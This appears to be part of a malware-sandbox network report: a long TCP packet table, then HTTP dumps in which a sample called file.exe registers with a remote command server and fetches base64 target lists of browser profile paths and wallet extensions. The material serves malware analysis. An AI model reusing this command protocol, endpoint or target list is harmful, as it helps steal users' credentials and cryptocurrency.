Oct 14, 2024 13:08:27.764322996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764333010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764364958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764368057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764379978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764390945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764403105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764416933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764424086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764441967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764446974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764461040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764467001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764475107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764483929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764496088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764512062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764547110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764642000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764647007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764656067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764678001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764694929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764717102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764744043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764758110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764771938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764781952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764797926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764808893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764812946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764823914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764832973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764837980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764852047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764858007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764870882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764887094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764889002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764900923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764914989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764926910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764936924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764940023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764966965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764969110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.764978886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.764981031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765006065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765010118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765022993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765024900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765044928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765048027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765062094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765069008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765077114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765081882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765089035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765113115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765352011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765394926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765404940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765417099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765435934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765439987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765449047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765458107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765475035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765494108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765496016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765506029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765518904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765532017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765544891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765546083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765579939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765592098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765595913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765604019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765630960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765649080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765650988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765672922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765688896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765693903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765707970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765708923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765719891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765729904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765733004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765747070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765748024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765760899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765763998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765784025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765809059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765810966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765829086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765842915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765853882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765867949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765894890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765957117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765968084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765980005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.765991926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.765991926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.766005039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.766016960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.766028881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.766030073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.766042948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:27.766058922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:27.766088963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:28.293462038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:28.293486118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:28.298274994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:28.298285961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:29.051135063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:29.051196098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:29.106189966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:29.110984087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:29.334100962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:29.334124088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:29.334134102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:29.334212065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:29.334268093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:29.336955070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:29.341749907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:29.564146042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:29.564234018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:29.577284098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:29.582418919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.302186966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.302447081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:30.327095032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:30.558562040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.558640957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.558726072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:30.779792070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.779810905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.779843092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.779866934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.779881954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.779896975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.779907942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:30.779911041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.779927015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.779937029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:30.779967070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:30.779967070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:30.780281067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.780303001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.780319929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:30.780333996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:30.780343056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:30.780364990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:30.782345057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:30.787175894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:31.504101038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:31.504219055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:36.951723099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:36.951797962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:36.951813936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:36.951873064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:36.951873064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:37.490452051 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	3660	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 13:08:09.071165085 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 14, 2024 13:08:09.785511971 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 14, 2024 13:08:09.789786100 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFH Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 38 35 39 39 36 33 39 34 41 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 2d 2d 0d 0a Data Ascii: ------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="hwid"A85996394A222838420810------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="build"doma------GIEHJKEBAAEBGCAAEBFH--
Oct 14, 2024 13:08:10.036190987 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:09 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 57 59 32 4e 54 45 77 5a 47 51 34 4d 44 45 35 4d 57 46 6b 4e 54 6c 6b 5a 44 67 7a 5a 54 6b 34 4f 44 51 33 4e 6a 63 32 59 6a 59 35 59 7a 4a 6b 4f 54 68 6b 4e 47 51 31 4d 6a 51 32 4f 47 5a 69 59 54 64 6b 5a 54 41 7a 4d 7a 67 79 5a 47 56 6d 5a 44 51 79 4e 44 68 6c 59 54 52 6c 5a 57 56 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MWY2NTEwZGQ4MDE5MWFkNTlkZDgzZTk4ODQ3Njc2YjY5YzJkOThkNGQ1MjQ2OGZiYTdkZTAzMzgyZGVmZDQyNDhlYTRlZWVjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 14, 2024 13:08:10.037467003 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFCBKJDBFIJKFHIIDAA Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 2d 2d 0d 0a Data Ascii: ------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="message"browsers------ECFCBKJDBFIJKFHIIDAA--
Oct 14, 2024 13:08:10.266669035 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:10 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 14, 2024 13:08:10.266890049 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 14, 2024 13:08:10.268192053 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJE Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="message"plugins------GIIIIJDHJEGIECBGHIJE--
Oct 14, 2024 13:08:10.500606060 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:10 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 